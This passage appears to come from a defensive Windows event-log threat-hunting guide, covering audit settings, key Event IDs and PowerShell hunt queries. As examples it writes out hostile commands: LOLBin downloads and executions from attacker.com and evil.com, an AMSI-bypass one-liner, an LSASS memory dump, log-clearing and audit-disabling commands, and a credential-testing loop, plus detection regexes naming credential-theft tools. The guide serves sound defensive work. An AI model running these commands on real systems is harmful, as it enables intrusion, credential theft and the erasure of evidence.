8. SEI CERT: prevent unsigned integer wrap (https://cmu-sei.github.io/secure-coding-standards/sei-cert-c-coding-standard/rules/integers-int/int30-c/). Precondition checks before addition and allocation.

9. MITRE CWE-190: integer overflow or wraparound (https://cwe.mitre.org/data/definitions/190.html). Background on the arithmetic mechanism, not an additional official CVE mapping.

10. MITRE CWE-122: heap-based buffer overflow (https://cwe.mitre.org/data/definitions/122.html). Heap corruption and overwritten function pointers.

11. MITRE CWE-130: inconsistent length fields (https://cwe.mitre.org/data/definitions/130.html). The weakness category recorded in the CVE.

12. AnyDesk: Interactive Access (https://support.anydesk.com/docs/interactive-access). What manual acceptance settings control during normal operation.

Enable Everything That Matters

Run this once as Administrator on each machine, or push via Group Policy:

:: AUDIT POLICY SUBCATEGORIES
auditpol /set /subcategory:"Logon"                             /success:enable /failure:enable
auditpol /set /subcategory:"Logoff"                            /success:enable
auditpol /set /subcategory:"Account Lockout"                   /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation"                  /success:enable
auditpol /set /subcategory:"Process Termination"               /success:enable
auditpol /set /subcategory:"Security Group Management"         /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management"           /success:enable /failure:enable
auditpol /set /subcategory:"Audit Policy Change"               /success:enable /failure:enable
auditpol /set /subcategory:"Other Object Access Events"        /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use"           /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service"   /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations"/success:enable /failure:enable

:: COMMAND LINE IN PROCESS CREATION (critical for 4688 usefulness)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
:: RESIZE EVENT LOGS
wevtutil sl Security    /ms:1073741824          :: 1 GB
wevtutil sl System      /ms:524288000           :: 512 MB
wevtutil sl "Microsoft-Windows-PowerShell/Operational" /ms:1073741824 /e:true
:: POWERSHELL SCRIPT BLOCK LOGGING
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockInvocationLogging /t REG_DWORD /d 1 /f
:: DISABLE POWERSHELL VERSION 2 (blocks downgrade bypass)
Dism /Online /Disable-Feature:MicrosoftWindowsPowerShellV2Root /NoRestart

Alternate GPO path for command-line capture:

Computer Configuration
  → Administrative Templates → System → Audit Process Creation
    → "Include command line in process creation events" = Enabled

Without command-line capture, Event ID 4688 tells you powershell.exe ran. With it, you see powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAI... — the actual attack.

#1 — Event IDs 4624 / 4625: Successful and Failed Logon

Log: Security.evtx | Subcategory to enable: Logon (success + failure)

These are the most fundamental events. 4624 documents every successful authentication to a machine. 4625 documents every failure. The raw events are noise — the patterns across them reveal attacks.

Logon Types: The Most Important Field in 4624

The LogonType field tells you how the authentication occurred. This single integer is often the fastest way to identify lateral movement:

Why Logon Type 9 is the most-missed indicator: Type 9 (NewCredentials) creates a new credential context without logging off the original user. It looks like the same user is still active. Mimikatz sekurlsa::pth (Pass-the-Hash), Cobalt Strike make_token, and Rubeus /ptt all generate Type 9 sessions. The victim's desktop shows them as logged in normally while an attacker is simultaneously operating under a different identity.

Pass-the-Hash Detection: The CyberArk Correlation Model

A legitimate NTLM network logon (Type 3) is almost always preceded by an interactive logon (Type 2, 7, or 10) from the same account. A Pass-the-Hash attack skips the interactive login entirely — the attacker never had the password, only the hash.

Detection logic:

Rule: SUSPICIOUS_PTH
  IF: 4624 (Type 3) with AuthenticationPackage = NTLM
  AND: 4672 (Special Privileges assigned) for same LogonID       ← privileged account
  AND: NO preceding 4624 (Type 2/7/10) for same account         ← no interactive login
  WITHIN: last 8 hours
  THEN: ALERT — possible Pass-the-Hash
# The key: legitimate admins log in interactively first, then access network resources.
# PTH attackers never authenticate interactively - they skip straight to network logons.

The open-source tool Ketshash (CyberArk Labs) automates exactly this correlation against live Windows event logs.

4625 Sub-Status Codes: Identify the Attack Type Instantly

SubStatus   Meaning                              Attack Pattern
─────────────────────────────────────────────────────────────────────────
0xC000006A  Wrong password (username IS valid)   → Brute force or spray target
0xC0000064  Username does not exist              → Username enumeration in progress
0xC0000234  Account is locked out                → Prior brute force succeeded in locking
0xC000006E  Account restriction (time/host)      → Off-hours or wrong workstation access
0xC0000072  Account is disabled                  → Attacker using stale/disabled account
0xC0000193  Account expired
0xC0000070  Workstation restriction              → Lateral movement from unexpected host

Password Spray vs. Brute Force in the logs:

• Brute force: Many 4625 events against one username, varying passwords, same source IP
• Password spray: Many 4625 events against many usernames, same password, same source IP — sub-status 0xC000006A across many accounts

# Hunt: Detect password spray (same source IP, 5+ unique victim accounts, all bad-password)
$fails = Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4625; StartTime=(Get-Date).AddHours(-2) } |
  ForEach-Object {
    $x = [xml]$_.ToXml()
    [PSCustomObject]@{
      Time      = $_.TimeCreated
      User      = ($x.Event.EventData.Data | Where-Object Name -eq 'TargetUserName').'#text'
      SourceIP  = ($x.Event.EventData.Data | Where-Object Name -eq 'IpAddress').'#text'
      SubStatus = ($x.Event.EventData.Data | Where-Object Name -eq 'SubStatus').'#text'
    }
  }
$fails | Where-Object SubStatus -eq '0xc000006a' |
  Group-Object SourceIP |
  Where-Object { ($_.Group.User | Select-Object -Unique).Count -ge 5 } |
  Select-Object Name, @{n='UniqueTargets';e={($_.Group.User|Select-Object -Unique).Count}}, Count

#2 — Event ID 4688: Process Creation

Log: Security.evtx | Subcategory: Process Creation (success)

Every program that executes on a Windows machine generates a 4688 event. With command-line capture enabled (see baseline above), this is the primary record of what attackers actually ran. LOLBin abuse, encoded PowerShell, lateral movement tools, persistence installers — all of them appear here.

The Fields That Matter

New Process Name:     C:\Windows\System32\powershell.exe
Process Command Line: powershell.exe -nop -w hidden -enc SQBFAFgA...  ← THE critical field
Creator Process Name: C:\Program Files\Microsoft Office\WINWORD.EXE   ← Parent process
Subject Account Name: john.smith                                        ← Who ran it
Token Elevation Type:
  TokenElevationTypeDefault (1) = Standard token
  TokenElevationTypeFull    (2) = Full admin/UAC elevated               ← Escalation indicator
  TokenElevationTypeLimited (3) = Filtered admin token (standard UAC)

Malicious Parent → Child Process Relationships

The parent process is often more indicative than the child. Legitimate programs have predictable children; malware does not:

Parent               → Child             Why it's suspicious
─────────────────────────────────────────────────────────────────────────────────
WINWORD.EXE          → powershell.exe   Office macro executing PS (phishing)
EXCEL.EXE            → cmd.exe          Macro-based payload delivery
ACROWRD32.EXE        → cmd.exe          PDF exploit or macro
WmiPrvSE.exe         → powershell.exe   WMI-based lateral movement (T1047)
svchost.exe          → cmd.exe          Service-based remote execution (PsExec)
mshta.exe            → powershell.exe   HTA file executing PS (T1218.005)
explorer.exe         → mshta.exe        Direct HTA launch from desktop
wscript.exe          → powershell.exe   VBScript / JScript dropper
cmd.exe              → certutil.exe     Download via certutil (T1105)
cmd.exe              → bitsadmin.exe    Background download via BITS

2026 LOLBin Reality Check

79% of all attack detections in 2024 involved zero custom malware (CrowdStrike 2025 Global Threat Report). Attackers use binaries already on the machine:

:: certutil — download + decode (used in 2025 PipeMagic/CVE-2025-29824 campaign)
certutil.exe -urlcache -split -f http://attacker.com/payload.b64 stage.b64
certutil.exe -decode stage.b64 payload.exe

:: mshta - execute remote HTA script, nothing written to disk
mshta.exe http://attacker.com/stage2.hta
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c whoami"",0,True")

:: regsvr32 Squiblydoo - bypasses AppLocker, still working in 2026
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: rundll32 - LSASS dump without any external tool (built-in comsvcs.dll)
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full

:: curl.exe + tar.exe - new in Windows 10+, EDR rules less mature
curl.exe -o C:\temp\payload.tar http://attacker.com/payload.tar
tar.exe -xf C:\temp\payload.tar -C C:\temp\

:: The January 2026 Remcos/NetSupport RAT full chain (Malwarebytes, zero custom malware):
:: forfiles → mshta → PowerShell → curl → tar → glaxnimate.exe → reg.exe (persistence)

Note: If you have Sysmon installed, use Event ID 1 (Process Create) instead of 4688. Sysmon Event 1 includes MD5/SHA256/IMPHASH hashes, parent command line, and GUID-based process tree tracking. It is harder to suppress via auditpol manipulation than 4688.

# Hunt: LOLBin abuse and encoded PowerShell (last 24 hours)
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-1) } |
  ForEach-Object {
    $x   = [xml]$_.ToXml()
    $cmd = ($x.Event.EventData.Data | Where-Object Name -eq 'CommandLine').'#text'
    $par = ($x.Event.EventData.Data | Where-Object Name -eq 'ParentProcessName').'#text'
    $new = ($x.Event.EventData.Data | Where-Object Name -eq 'NewProcessName').'#text'
    if ($cmd -match '-enc\b|-e\s+[A-Za-z0-9+/]{20,}|DownloadString|IEX|certutil.*urlcache|mshta.*http|regsvr32.*scrobj|rundll32.*comsvcs') {
      [PSCustomObject]@{ Time=$_.TimeCreated; Parent=$par; Process=$new; Command=$cmd }
    }
  } | Format-List

#3 — Event IDs 4103 / 4104: PowerShell Module and Script Block Logging

Log: Microsoft-Windows-PowerShell/Operational | Default: Disabled

PowerShell is present in the majority of modern Windows intrusions. Event 4103 captures module pipeline execution. Event 4104 — Script Block Logging — captures the full text of every PowerShell script block as it executes, including automatically deobfuscated content. The PowerShell engine decodes the script before handing it to the logging subsystem. Attackers who use multi-layer obfuscation to evade AV still get logged in plaintext via 4104.

Enable Script Block Logging

GPO (recommended for domain-joined systems):

Computer Configuration
  → Administrative Templates → Windows Components → Windows PowerShell
    → "Turn on PowerShell Script Block Logging"        = Enabled
    → "Log script block invocation start/stop events" = Enabled

Registry (standalone or automated deployment):

$p = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item $p -Force | Out-Null
Set-ItemProperty $p EnableScriptBlockLogging         1
Set-ItemProperty $p EnableScriptBlockInvocationLogging 1
$m = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
New-Item $m -Force | Out-Null
Set-ItemProperty $m EnableModuleLogging 1
New-Item "$m\ModuleNames" -Force | Out-Null
Set-ItemProperty "$m\ModuleNames" '*' '*'   # log all modules

Three Ways Attackers Try to Defeat Script Block Logging

Bypass 1: PowerShell Version 2 Downgrade

powershell -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/rev.ps1')"
# PSv2 predates the ScriptBlock Logging provider — it does not generate 4104 events at all
# Detection: Any PSv2 usage is anomalous on modern systems (PowerShell 5+ is default since Win10)
# Mitigation: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Bypass 2: AMSI Patching

# Attacker disables Antimalware Scan Interface before running malicious code
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Irony: 4104 logs the bypass attempt itself in plaintext — this is the indicator
# The Elastic detection rule detects exactly this string pattern in script block content

Bypass 3: Registry Key Deletion

Remove-Item 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
# Detection: Event ID 4657 (registry value modified/deleted) on the SBL key
# Combine SBL key watch with SIEM alerting for immediate notification

Hunt: Malicious Strings in Script Blocks

Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104; StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
  $_.Message -match 'IEX|Invoke-Expression|DownloadString|WebClient|FromBase64String|amsiutils|amsiInitFailed|sekurlsa|mimikatz|Invoke-Mimikatz|Invoke-ReflectivePEInjection|Invoke-Shellcode|ConvertTo-SecureString.*AsPlainText|Net.Sockets.TCPClient'
} | Select-Object TimeCreated,
  @{n='Preview';e={$_.Message.Substring(0,[Math]::Min(400,$_.Message.Length))}} |
  Format-List

#4 — Event IDs 4698 / 4702: Scheduled Task Created / Modified

Log: Security.evtx | Subcategory: Other Object Access Events

Scheduled tasks (MITRE T1053.005) are one of the most common persistence mechanisms used in real-world intrusions. They survive reboots, can run as SYSTEM, and the full task XML is embedded directly in the event — giving you exactly what will execute and when.

Reading the TaskContent XML Field

This is the most important field. The entire task definition is here:

<!-- Attacker-created persistence task — every red flag present -->
<Task>
  <Triggers>
    <BootTrigger/> <!-- Runs on every boot — not a scheduled job -->
  </Triggers>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-nop -w hidden -enc SQBFAFgAIAAo...</Arguments>  <!-- Base64 payload -->
    </Exec>
  </Actions>
  <Principals>
    <Principal>
      <RunLevel>HighestAvailable</RunLevel>  <!-- UAC elevated -->
      <UserId>S-1-5-18</UserId>             <!-- SYSTEM — highest possible -->
    </Principal>
  </Principals>
  <RegistrationInfo>
    <Date>2026-03-14T02:31:00</Date>       <!-- Created at 2:31 AM -->
    <Author>CONTOSO\john.smith</Author>    <!-- Regular user creating SYSTEM task -->
  </RegistrationInfo>
</Task>

Red Flag Checklist for Task Events

✗ Command = powershell / cmd / wscript / mshta / rundll32 / regsvr32 / msiexec
✗ Arguments contain -enc, -nop, -w hidden, DownloadString, http://, base64 strings
✗ RunLevel = HighestAvailable (UAC elevated) or LUA
✗ UserId = S-1-5-18 (SYSTEM) or S-1-5-19 (Local Service) or S-1-5-20 (Network Service)
✗ Trigger = BootTrigger or LogonTrigger (persistence) vs. scheduled work triggers
✗ Task path NOT under \Microsoft\Windows\ (legitimate Microsoft tasks live there)
✗ Task created by a non-admin account
✗ Task created outside business hours
✗ 4699 (task deleted) follows 4697 (task created) within seconds = execute-and-erase

Correlate with System Log: Event 7045

PsExec installs itself as a service named PSEXESVC before executing remote commands. This generates:

• Security 4697: Service installed (includes who installed it from the remote SMB session)
• System 7045: New service installed (same info, different log — defenders often watch System separately)

# Hunt: Scheduled tasks with attacker-associated executables (last 7 days)
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=@(4698,4702); StartTime=(Get-Date).AddDays(-7) } |
  ForEach-Object {
    $x    = [xml]$_.ToXml()
    $name = ($x.Event.EventData.Data | Where-Object Name -eq 'TaskName').'#text'
    $xml  = ($x.Event.EventData.Data | Where-Object Name -eq 'TaskContent').'#text'
    $user = ($x.Event.EventData.Data | Where-Object Name -eq 'SubjectUserName').'#text'
    if ($xml -match 'powershell|cmd\.exe|wscript|mshta|rundll32|regsvr32|certutil|bitsadmin|-enc|-nop|-w hidden|http://|https://') {
      [PSCustomObject]@{ Time=$_.TimeCreated; EventID=$_.Id; Task=$name; Creator=$user
        ContentPreview=$xml.Substring(0,[Math]::Min(300,$xml.Length)) }
    }
  } | Format-List

#5 — Event IDs 4720 / 4728 / 4732: Account and Privileged Group Changes

Log: Security.evtx | Subcategories: User Account Management + Security Group Management

Creating a backdoor account or adding an attacker-controlled account to Domain Admins is the most common post-exploitation persistence technique in Active Directory environments.

The Full Backdoor Sequence in Event Logs

A real attacker account-creation sequence takes about 5 seconds and generates exactly this chain:

02:31:14  4720  'svc_backup2' account created         — by CONTOSO\Administrator
02:31:14  4722  'svc_backup2' account enabled
02:31:15  4723  Password set for 'svc_backup2'
02:31:15  4728  'svc_backup2' added to 'Domain Admins' — by CONTOSO\Administrator
02:31:17  4624  Logon Type 3: 'svc_backup2' authenticates from 10.10.10.55
02:31:18  4672  Special privileges assigned to 'svc_backup2' (SeDebugPrivilege, etc.)

Five events, five seconds, 2:31 AM — this is a confirmed intrusion. An automated alert on any 4728/4732 addition to privileged groups outside business hours + outside known admin accounts should be a non-negotiable SIEM rule.

# Hunt: Any account added to privileged groups (last 30 days)
$privGroups = @('Domain Admins','Enterprise Admins','Schema Admins','Administrators','Remote Desktop Users')
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=@(4728,4732,4756); StartTime=(Get-Date).AddDays(-30) } |
  ForEach-Object {
    $x      = [xml]$_.ToXml()
    $group  = ($x.Event.EventData.Data | Where-Object Name -eq 'TargetUserName').'#text'
    $member = ($x.Event.EventData.Data | Where-Object Name -eq 'MemberName').'#text'
    $by     = ($x.Event.EventData.Data | Where-Object Name -eq 'SubjectUserName').'#text'
    if ($privGroups -contains $group) {
      [PSCustomObject]@{ Time=$_.TimeCreated; EventID=$_.Id; Group=$group; AddedMember=$member; AddedBy=$by }
    }
  } | Sort-Object Time | Format-Table -AutoSize

#6 — Event IDs 1102 / 104 / 4719: Log Cleared and Audit Policy Disabled

Log: Security.evtx (1102) and System.evtx (104) | Always fires regardless of audit settings

These events are anti-forensics indicators. They tell you an attacker is actively covering their tracks.

Event 1102 — Security Log Cleared

1102 is special: it is hardcoded into the Windows Event Log service. It fires even if all auditing is disabled. You cannot suppress 1102 without disabling the event log service itself.

Event 1102 fields:
  Subject Account Name:  john.smith          ← who cleared the log
  Subject Logon ID:      0x3E4F2A            ← correlate with 4624 to get source machine
  Time:                  2026-03-14 02:47:33 ← 2:47 AM
Message: "The audit log was cleared."

There is no legitimate reason for a non-IT account to clear the Security event log at 2:47 AM. A single 1102 from an unexpected account is grounds for immediate incident response.

Event 104 is the System log equivalent. Some attackers clear System.evtx separately to remove service installation evidence (7045).

The wevtutil Method

Attackers almost never use Event Viewer to clear logs. They use:

wevtutil cl Security
wevtutil cl System
wevtutil cl "Windows PowerShell"
:: Or in PowerShell:
Clear-EventLog -LogName Security

The wevtutil cl command generates a 4688 process creation event before the 1102 log-cleared event. In a SIEM you can correlate: wevtutil.exe with argument cl → immediately followed by → 1102.

Event 4719 — System Audit Policy Changed

4719 tells you:
  Subcategory:       Process Creation       ← attacker disabling process tracking
  Audit Policy Change: Success removed       ← stripping success auditing
  Change Type:       Removed
Typical attack sequence:
  1. auditpol /set /subcategory:"Process Creation" /success:disable   (4719 fires)
  2. Run Mimikatz, credential dumpers, lateral movement tools          (zero 4688 events generated)
  3. auditpol /set /subcategory:"Process Creation" /success:enable    (4719 fires again)
  Net result: a gap in 4688 logs during the attack window with no obvious explanation

Critical architectural point: If you ship logs to a SIEM in real-time, 1102 is a notification, not a loss — the events already left the machine. If you are NOT forwarding logs, a cleared local log with no SIEM copy means you have nothing for incident response. This is the single strongest argument for immediate SIEM deployment.

#7 — Event IDs 4768 / 4769 / 4771: Kerberos Authentication (Domain Controllers Only)

Log: Security.evtx on Domain Controllers only | Subcategories: Kerberos Authentication Service + Kerberos Service Ticket Operations

These events expose the highest-impact Active Directory attacks: Kerberoasting, AS-REP Roasting, and Golden Ticket forgery. They only exist on Domain Controllers — collect DC logs centrally.

How Kerberos Ticket Encryption Creates the Attack Surface

When a domain user requests access to a service (SQL server, file share, web app), they receive a TGS ticket from the KDC. That ticket is encrypted with the NTLM hash of the service account’s password. Any authenticated domain user can request this ticket. Take it offline. Crack it. No failed auth. No lockout. No noise — except in these event logs.

Kerberoasting Detection via Event 4769

Kerberoasting signature in Event 4769:
TicketEncryptionType: 0x17  ← RC4-HMAC (WEAK - cracks in hours on GPU)
                               Modern environments default to 0x12 (AES-256)
                               Any RC4 TGS request is anomalous if AES is enforced by policy
  ServiceName: sql_svc         ← NOT a computer account (no $ suffix)
                               NOT krbtgt
                               A named service account = attack target
  FailureCode: 0x0             ← Success - the ticket WAS issued and taken by the attacker
  ClientAddress: 10.10.10.55   ← Workstation IP (not the DC, not the service host)
Bulk Kerberoasting: 50+ TGS requests in under 1 minute (Rubeus /kerberoast)
Targeted (slow): 1 TGS request for 1 account - much harder to detect without behavioral baseline

AS-REP Roasting Detection via Event 4768

Accounts with “Do not require Kerberos preauthentication” enabled can be attacked without any credentials. An attacker sends an unauthenticated AS-REQ and receives encrypted material to crack offline.

AS-REP Roasting signature in Event 4768:
  PreAuthType: 0    ← Pre-authentication was NOT performed (dangerous flag set on account)
  ResultCode: 0x0   ← Success — AS-REP with crackable content issued
Mitigation: Audit and remove the no-preauth flag from all accounts except legacy apps that require it
  Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select SamAccountName, DistinguishedName

Golden Ticket Detection

A Golden Ticket is a forged TGT signed with the krbtgt account's NTLM hash. When used, the forged TGT requests service tickets (4769 events) — but the KDC never issued the TGT itself (no corresponding 4768). This mismatch is the key signal:

Golden Ticket indicators in 4769 events:
  Account Domain:  Empty string OR uppercase FQDN    ← different from legitimate ticket format
  Ticket Options:  0x40800010                        ← non-standard flags in forged tickets
  Many 4769 events for same account across many services in rapid succession
  Source IP not matching user's normal workstation
SIEM correlation rule:
  ALERT: 4769 service ticket for account X WHERE no 4768 TGT was issued for X in same session

# Hunt: RC4 TGS requests (Kerberoasting indicator)
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4769; StartTime=(Get-Date).AddDays(-7) } |
  ForEach-Object {
    $x   = [xml]$_.ToXml()
    $enc = ($x.Event.EventData.Data | Where-Object Name -eq 'TicketEncryptionType').'#text'
    $svc = ($x.Event.EventData.Data | Where-Object Name -eq 'ServiceName').'#text'
    $ip  = ($x.Event.EventData.Data | Where-Object Name -eq 'IpAddress').'#text'
    $usr = ($x.Event.EventData.Data | Where-Object Name -eq 'TargetUserName').'#text'
    # RC4 = 0x17 | service account (no $ suffix, not krbtgt) | successful ticket
    if ($enc -eq '0x17' -and $svc -notmatch '\$' -and $svc -ne 'krbtgt') {
      [PSCustomObject]@{ Time=$_.TimeCreated; User=$usr; Service=$svc; Encryption=$enc; Source=$ip }
    }
  } | Format-Table -AutoSize

Remediation priority: Deploy Group Managed Service Accounts (gMSA) for any service account that supports it. gMSA passwords are 120 characters, automatically rotated by Windows, and never known to any human — eliminating Kerberoasting entirely for those accounts.

#8 — Event ID 4648: Explicit Credentials Used

Log: Security.evtx | Subcategory: Logon

Event 4648 fires when a process authenticates using credentials different from the currently logged-on user. This is the fingerprint of attacker credential-switching operations.

What Generates 4648

Legitimate sources:
  - runas.exe with /user flag
  - Scheduled tasks running as a different account
  - IIS application pools authenticating to backends
  - Services authenticating to remote resources
Attacker sources:
  - Mimikatz sekurlsa::pth        → 4648 on source host + Logon Type 9 on target
  - Cobalt Strike make_token      → 4648 from beacon process
  - Rubeus /ptt (Pass-the-Ticket) → 4648 + Type 9
  - Impacket smbexec/wmiexec      → 4648 + Type 3 on target
  - net use \\server\share /user  → 4648 with cmd.exe as Process Name

Reading a Malicious 4648

Subject (the account doing the impersonation):
  Account Name:  john.smith         ← regular user...
  Logon ID:      0x1234AB
Account Whose Credentials Were Used:
  Account Name:  svc_deployer       ← ...suddenly using a service account
  Account Domain: CONTOSO
Target Server:
  Target Server Name: FILESERVER01  ← connecting to a remote server
  Additional Info:    cifs/FILESERVER01.contoso.com
Process Information:
  Process Name:  C:\Tools\lateral.exe   ← not a standard Windows tool
  Process ID:    0x5678

The combination of:

• A non-service process (not svchost, lsass, services.exe)
• Using credentials that differ from the subject account
• Targeting a remote server

…is a strong indicator of credential abuse.

# Hunt: 4648 where impersonating account ≠ subject account, non-system process
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4648; StartTime=(Get-Date).AddDays(-1) } |
  ForEach-Object {
    $x    = [xml]$_.ToXml()
    $subj = ($x.Event.EventData.Data | Where-Object Name -eq 'SubjectUserName').'#text'
    $tgt  = ($x.Event.EventData.Data | Where-Object Name -eq 'TargetUserName').'#text'
    $proc = ($x.Event.EventData.Data | Where-Object Name -eq 'ProcessName').'#text'
    $srv  = ($x.Event.EventData.Data | Where-Object Name -eq 'TargetServerName').'#text'
    if ($subj -ne $tgt -and $proc -notmatch 'svchost|lsass|services|WmiPrvSE|taskhost|SearchIndexer') {
      [PSCustomObject]@{ Time=$_.TimeCreated; Subject=$subj; ImpersonatedAs=$tgt; Process=$proc; Server=$srv }
    }
  } | Format-Table -AutoSize

#9 — Event IDs 4697 / 7045: Service Installation

Log: Security.evtx (4697) + System.evtx (7045) | Subcategory: Security System Extension

Service-based persistence (MITRE T1543.003) is powerful because services start automatically, run as SYSTEM, survive reboots, and are harder to spot than scheduled tasks in casual schtasks queries. PsExec, Impacket, and Cobalt Strike all leave service installation events.

PsExec Lateral Movement Fingerprint

When PsExec runs a command on a remote machine, it:

1. Authenticates via SMB (→ 4624 Type 3 on target)
2. Copies PSEXESVC.exe to C:\Windows\ via SMB (→ 5140 on target if file auditing enabled)
3. Installs it as a service (→ 4697 + 7045 on target)
4. Starts the service which executes the command (→ 4688 child of psexesvc.exe)
5. On completion, deletes the service (→ 4699 on target)

4697 / 7045 fields for PsExec:
  Service Name:       PSEXESVC
  Service File Name:  %SystemRoot%\PSEXESVC.exe
  Service Start Type: Demand start        ← manual, not automatic
  Service Account:    LocalSystem         ← SYSTEM privileges
  Subject Account:    attacker            ← who installed it (from the SMB authentication)

Indicators of Malicious Service Installation

1. Binary path in user-writable or temp directories:
   C:\Users\john\AppData\Local\Temp\update.exe       ← never legitimate
   C:\ProgramData\MicrosoftUpdate\svc.exe
   C:\Windows\Temp\1234.exe
2. Binary is a network (UNC) path:
   \\attacker-host\share\payload.exe                  ← remote binary execution
3. Service binary is a script interpreter with inline command:
   C:\Windows\System32\cmd.exe /c powershell -enc ...
   C:\Windows\System32\mshta.exe http://evil.com/payload.hta
4. Service name mimics legitimate Windows services:
   WindowsSecurityHealth2      (note the appended digit)
   GoogleUpdateTaskMachine0    (legitimate GoogleUpdate is an EXE, not a service)
   svchost32 / svchost64       (real svchost.exe has no suffix)
5. Service created then immediately deleted (4697 → 4699 within seconds)
   This is the execute-and-erase pattern - the service ran once then cleaned itself up

# Hunt: Services installed to temp/user directories or using scripting engines
Get-WinEvent -FilterHashtable @{ LogName='System'; Id=7045; StartTime=(Get-Date).AddDays(-7) } |
  ForEach-Object {
    $x    = [xml]$_.ToXml()
    $name = ($x.Event.EventData.Data | Where-Object Name -eq 'ServiceName').'#text'
    $path = ($x.Event.EventData.Data | Where-Object Name -eq 'ImagePath').'#text'
    $acct = ($x.Event.EventData.Data | Where-Object Name -eq 'AccountName').'#text'
    if ($path -match 'Temp|AppData|ProgramData|\\Users\\|\\\\' -or
        $path -match 'cmd\.exe|powershell|mshta|wscript|rundll32|regsvr32|certutil|bitsadmin') {
      [PSCustomObject]@{ Time=$_.TimeCreated; Service=$name; Path=$path; Account=$acct }
    }
  } | Format-Table -AutoSize

#10 — RDP Lateral Movement: Multi-Log Correlation

Logs: Multiple — Security.evtx, TerminalServices-LocalSessionManager, TerminalServices-RemoteConnectionManager, RdpCoreTS

RDP is used in nearly every intrusion that reaches the lateral movement phase. It provides interactive GUI access, stores credentials in memory (accessible to Mimikatz), and leaves traces across multiple dedicated log files that defenders often fail to correlate.

The Complete RDP Event Map (Source vs. Target)

SOURCE MACHINE (machine the attacker connects FROM):
  Security.evtx
    4648  — Explicit credentials used (MSTSC.exe as Process Name)
  TerminalServices-RDPClient/Operational
    1024  — Target HOSTNAME recorded (matches RDP connection initiation)
    1102  — Target IP ADDRESS recorded
TARGET MACHINE (machine being connected TO - primary evidence location):
  Security.evtx
    4624  - Successful logon, Type 10 (RemoteInteractive = RDP)
    4624  - Type 7 for session reconnects/unlocks
    4672  - Special privileges if account is admin
    4778  - Session reconnected via Terminal Services
    4779  - Session disconnected
  TerminalServices-RemoteConnectionManager/Operational
    1149  - RDP network session established - records SOURCE IP + USERNAME
             ⚠ Note: 1149 can fire even on failed password attempts (network layer succeeded)
  TerminalServices-LocalSessionManager/Operational
    21    - Session LOGON succeeded - username + session ID + source IP recorded
    22    - Shell session started (actual desktop access confirmed)
    25    - Session RECONNECTED
    23    - Session logoff
    24    - Session disconnected (user X at session Y)
  Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
    131   - Connection attempt - source IP recorded (even for failed attempts)
    98    - Successful RDP connection at the connection layer

Why Event 21 from TerminalServices-LocalSessionManager is the gold standard: Unlike Security.evtx which rolls over fast and can be cleared, the TerminalServices-LocalSessionManager log is dedicated to RDP, retains data longer, and records the source IP + username together. DFIR analysts at Expel and DFIR Spot both cite Event 21 as the first RDP log they check in any intrusion investigation.

The local-vs-remote trap: If the Source IP in Event 21 shows LOCAL instead of an IP address, this is a local hands-on keyboard logon, not a remote connection. Always verify source IP before attributing to remote access.

RDP Lateral Movement + Password Reuse: A Common Scenario

Common enterprise failure: Local Administrator account enabled on all workstations
with the same password (pre-LAPS environments).
Attack flow:
  1. Attacker compromises one workstation
  2. Dumps local SAM hashes (or finds plaintext in memory)
  3. Tests local admin credentials against all machines in subnet:
     for /f %i in (hosts.txt) do net use \\%i\ipc$ "Password1!" /user:Administrator
  4. Those that succeed → RDP laterally:
     mstsc /v:<targetIP>  [or use xfreerdp / rdesktop from Linux]
  5. Each RDP connection leaves 4624 Type 10 + Event 21 on target
  6. Source machine shows 4648 with MSTSC.exe as process
Fix: Deploy Microsoft LAPS (Local Administrator Password Solution)
  Every machine gets a unique random local admin password, stored in AD.
  If one machine is compromised, the local admin password doesn't work on any other machine.

# Hunt: All RDP logons (Type 10) in last 7 days
